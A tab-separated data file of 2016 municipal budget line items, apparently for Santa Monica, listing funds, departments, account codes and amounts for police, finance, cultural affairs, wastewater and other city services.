18278	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	1042623	0	0	0	0	0	0	0	0	0	0	0	1042623
18279	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2016	12604	0	0	0	0	0	0	0	0	0	0	0	12604
18280	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2016	1454	0	0	0	0	0	0	0	0	0	0	0	1454
18281	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2016	1180	0	0	0	0	0	0	0	0	0	0	0	1180
18282	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	566730.0	REC / PARKS COMMISSION	810.0	 Supplies and Expenses	2016	2890	0	0	0	0	0	0	0	0	0	0	0	2890
18283	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2016	2962900	0	0	0	0	0	0	0	0	0	0	0	2962900
18284	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	401650.0	SEWER SERVICE CHARGES	650.0	Charges for Service	2016	-15023378	0	0	0	0	0	0	0	0	0	0	0	-15023378
18285	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	20000	0	0	0	0	0	0	0	0	0	0	0	20000
18286	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2016	446	0	0	0	0	0	0	0	0	0	0	0	446
18287	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2016	8160	0	0	0	0	0	0	0	0	0	0	0	8160
18288	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	2438	0	0	0	0	0	0	0	0	0	0	0	2438
18289	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	40496	0	0	0	0	0	0	0	0	0	0	0	40496
18290	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511490.0	OVERTIME	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18291	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18292	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544080.0	LICENSE TAGS / STICKERS	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18293	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2016	6212	0	0	0	0	0	0	0	0	0	0	0	6212
18294	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533020.0	GENERAL LIABILITY / AUTO	806.0	 Supplies and Expenses	2016	557354	0	0	0	0	0	0	0	0	0	0	0	557354
18295	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522610.0	EQUIPMENT RENTAL	804.0	 Supplies and Expenses	2016	7800	0	0	0	0	0	0	0	0	0	0	0	7800
18296	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522720.0	MILEAGE	804.0	 Supplies and Expenses	2016	15297	0	0	0	0	0	0	0	0	0	0	0	15297
18297	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	10500	0	0	0	0	0	0	0	0	0	0	0	10500
18298	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511490.0	OVERTIME	816.0	Salaries and Wages	2016	511	0	0	0	0	0	0	0	0	0	0	0	511
18299	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2016	5673	0	0	0	0	0	0	0	0	0	0	0	5673
18300	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2016	831	0	0	0	0	0	0	0	0	0	0	0	831
18301	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2016	2284	0	0	0	0	0	0	0	0	0	0	0	2284
18302	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2016	83069	0	0	0	0	0	0	0	0	0	0	0	83069
18303	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522120.0	UTILITIES - NATURAL GAS	816.0	 Supplies and Expenses	2016	700	0	0	0	0	0	0	0	0	0	0	0	700
18304	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522130.0	UTILITIES - WATER	816.0	 Supplies and Expenses	2016	16645	0	0	0	0	0	0	0	0	0	0	0	16645
18305	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2016	8945	0	0	0	0	0	0	0	0	0	0	0	8945
18306	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522720.0	MILEAGE	816.0	 Supplies and Expenses	2016	415	0	0	0	0	0	0	0	0	0	0	0	415
18307	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2016	3926	0	0	0	0	0	0	0	0	0	0	0	3926
18308	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2016	14018	0	0	0	0	0	0	0	0	0	0	0	14018
18309	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544170.0	UNIFORM / PROTECTIVE CLOTHING	816.0	 Supplies and Expenses	2016	6120	0	0	0	0	0	0	0	0	0	0	0	6120
18310	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2016	2171	0	0	0	0	0	0	0	0	0	0	0	2171
18311	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2016	9148	0	0	0	0	0	0	0	0	0	0	0	9148
18312	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2016	14547	0	0	0	0	0	0	0	0	0	0	0	14547
18313	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569160.0	18TH STREET ARTS COMPLEX	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18314	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2016	8579	0	0	0	0	0	0	0	0	0	0	0	8579
18315	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	816.0	 Supplies and Expenses	2016	11584	0	0	0	0	0	0	0	0	0	0	0	11584
18316	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	4000	0	0	0	0	0	0	0	0	0	0	0	4000
18317	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522620.0	RENT	804.0	 Supplies and Expenses	2016	479514	0	0	0	0	0	0	0	0	0	0	0	479514
18318	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	1046	0	0	0	0	0	0	0	0	0	0	0	1046
18319	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2016	129031	0	0	0	0	0	0	0	0	0	0	0	129031
18320	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569180.0	HIGHWAYS PERFORMANCE SPACE	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18321	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
18322	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	400890.0	CITY OF LA  - SEWER REPAIR	650.0	Charges for Service	2016	-406074	0	0	0	0	0	0	0	0	0	0	0	-406074
18323	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	402630.0	WASTEWATER MISC NON-OPERATING	662.0	Other	2016	-1000	0	0	0	0	0	0	0	0	0	0	0	-1000
18324	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	15000	0	0	0	0	0	0	0	0	0	0	0	15000
18325	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511040.0	COUNCIL/BOARD ALLOWANCE	804.0	Salaries and Wages	2016	112847	0	0	0	0	0	0	0	0	0	0	0	112847
18326	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533570.0	CONF / MTGS / TRAVEL-TOD	804.0	 Supplies and Expenses	2016	3089	0	0	0	0	0	0	0	0	0	0	0	3089
18327	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2016	26631	0	0	0	0	0	0	0	0	0	0	0	26631
18328	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2016	8344	0	0	0	0	0	0	0	0	0	0	0	8344
18329	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	3115	0	0	0	0	0	0	0	0	0	0	0	3115
18330	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	877826	0	0	0	0	0	0	0	0	0	0	0	877826
18331	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	217	0	0	0	0	0	0	0	0	0	0	0	217
18332	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2016	958	0	0	0	0	0	0	0	0	0	0	0	958
18333	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2016	5840	0	0	0	0	0	0	0	0	0	0	0	5840
18334	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	555010.0	CONTRACTUAL SERVICES	816.0	 Supplies and Expenses	2016	10955	0	0	0	0	0	0	0	0	0	0	0	10955
18335	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2016	45000	0	0	0	0	0	0	0	0	0	0	0	45000
18336	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2016	14916	0	0	0	0	0	0	0	0	0	0	0	14916
18337	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544400.0	COMMUNITY ARTS GRANT	810.0	 Supplies and Expenses	2016	134220	0	0	0	0	0	0	0	0	0	0	0	134220
18338	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2016	7456	0	0	0	0	0	0	0	0	0	0	0	7456
18339	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2016	8221	0	0	0	0	0	0	0	0	0	0	0	8221
18340	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2016	670	0	0	0	0	0	0	0	0	0	0	0	670
18341	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544120.0	PERIODICALS	816.0	 Supplies and Expenses	2016	425	0	0	0	0	0	0	0	0	0	0	0	425
18342	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569120.0	SM MUSEUM OF ART	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18343	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2016	35000	0	0	0	0	0	0	0	0	0	0	0	35000
18344	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
18345	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	107	0	0	0	0	0	0	0	0	0	0	0	107
18346	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2016	8973	0	0	0	0	0	0	0	0	0	0	0	8973
18347	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533610.0	CONF / MTGS / TRAVEL-RB	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18348	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544040.0	BOOKS / PAMPHLETS	810.0	 Supplies and Expenses	2016	107	0	0	0	0	0	0	0	0	0	0	0	107
18349	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2016	28863	0	0	0	0	0	0	0	0	0	0	0	28863
18350	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2016	253525	0	0	0	0	0	0	0	0	0	0	0	253525
18351	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569200.0	SM PLAYHOUSE	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18352	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2016	1520	0	0	0	0	0	0	0	0	0	0	0	1520
18353	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2016	800	0	0	0	0	0	0	0	0	0	0	0	800
18354	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	404340.0	INDUSTRIAL WASTE FEES	650.0	Charges for Service	2016	-375000	0	0	0	0	0	0	0	0	0	0	0	-375000
18355	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	405500.0	STORMWATER MGMT USER FEE	650.0	Charges for Service	2016	-1240000	0	0	0	0	0	0	0	0	0	0	0	-1240000
18356	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2016	13638	0	0	0	0	0	0	0	0	0	0	0	13638
18357	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533580.0	COMPUTER/SOFTWARE MAINTENANCE	806.0	 Supplies and Expenses	2016	507601	0	0	0	0	0	0	0	0	0	0	0	507601
18358	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544020.0	AMMO/PROTECTIVE CLOTHING-SWORN	806.0	 Supplies and Expenses	2016	212864	0	0	0	0	0	0	0	0	0	0	0	212864
18359	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2016	36586	0	0	0	0	0	0	0	0	0	0	0	36586
18360	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2016	4182	0	0	0	0	0	0	0	0	0	0	0	4182
18361	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2016	18142837	0	0	0	0	0	0	0	0	0	0	0	18142837
18362	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511490.0	OVERTIME	806.0	Salaries and Wages	2016	3435645	0	0	0	0	0	0	0	0	0	0	0	3435645
18363	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2016	206070	0	0	0	0	0	0	0	0	0	0	0	206070
18364	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2016	18093	0	0	0	0	0	0	0	0	0	0	0	18093
18365	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511650.0	POLICE CADETS	806.0	Salaries and Wages	2016	59021	0	0	0	0	0	0	0	0	0	0	0	59021
18366	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2016	1172	0	0	0	0	0	0	0	0	0	0	0	1172
18367	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2016	8251	0	0	0	0	0	0	0	0	0	0	0	8251
18368	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	70191	0	0	0	0	0	0	0	0	0	0	0	70191
18369	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	544010.0	SPECIAL DEPARTMENT SUPPLIES	810.0	 Supplies and Expenses	2016	37256	0	0	0	0	0	0	0	0	0	0	0	37256
18370	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2016	5100	0	0	0	0	0	0	0	0	0	0	0	5100
18371	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2016	12255	0	0	0	0	0	0	0	0	0	0	0	12255
18372	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2016	20400	0	0	0	0	0	0	0	0	0	0	0	20400
18373	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2016	981	0	0	0	0	0	0	0	0	0	0	0	981
18374	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2016	2130	0	0	0	0	0	0	0	0	0	0	0	2130
18375	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2016	26795	0	0	0	0	0	0	0	0	0	0	0	26795
18376	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569140.0	VIRGINIA AVENUE PROJECT	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18377	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	816.0	Salaries and Wages	2016	96566	0	0	0	0	0	0	0	0	0	0	0	96566
18378	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2016	24418	0	0	0	0	0	0	0	0	0	0	0	24418
18379	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2016	5531	0	0	0	0	0	0	0	0	0	0	0	5531
18380	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18381	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18382	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522312.0	DISCOUNTS LOST	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18383	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18384	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18385	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2016	10667	0	0	0	0	0	0	0	0	0	0	0	10667
18386	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2016	164650	0	0	0	0	0	0	0	0	0	0	0	164650
18387	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2016	5280	0	0	0	0	0	0	0	0	0	0	0	5280
18388	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2016	3317	0	0	0	0	0	0	0	0	0	0	0	3317
18389	BA	IS	1	General Fund	310	FIRE	315	TRAINING	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2016	2225	0	0	0	0	0	0	0	0	0	0	0	2225
18390	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2016	12097859	0	0	0	0	0	0	0	0	0	0	0	12097859
18391	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18392	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	588000.0	CAPITAL OUTLAY	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18393	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18394	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522160.0	TRANSFER STATION FEE	816.0	 Supplies and Expenses	2016	1661	0	0	0	0	0	0	0	0	0	0	0	1661
18395	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2016	112405	0	0	0	0	0	0	0	0	0	0	0	112405
18396	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511730.0	WORKERS' COMP INSURANCE	806.0	Salaries and Wages	2016	3803167	0	0	0	0	0	0	0	0	0	0	0	3803167
18397	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2016	138154	0	0	0	0	0	0	0	0	0	0	0	138154
18398	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544170.0	PROTECTIVE CLOTHING-NON-SWORN	806.0	 Supplies and Expenses	2016	18016	0	0	0	0	0	0	0	0	0	0	0	18016
18399	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522720.0	MILEAGE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18400	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2016	140040	0	0	0	0	0	0	0	0	0	0	0	140040
18401	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522620.0	RENT	806.0	 Supplies and Expenses	2016	2336	0	0	0	0	0	0	0	0	0	0	0	2336
18402	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	401660.0	WASTEWATER CAPITAL FAC FEES	650.0	Charges for Service	2016	-400000	0	0	0	0	0	0	0	0	0	0	0	-400000
18403	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	401990.0	SADDLE FEES	650.0	Charges for Service	2016	-75000	0	0	0	0	0	0	0	0	0	0	0	-75000
18404	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	732	0	0	0	0	0	0	0	0	0	0	0	732
18405	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18406	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2016	1038	0	0	0	0	0	0	0	0	0	0	0	1038
18407	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18408	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18409	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	12460	0	0	0	0	0	0	0	0	0	0	0	12460
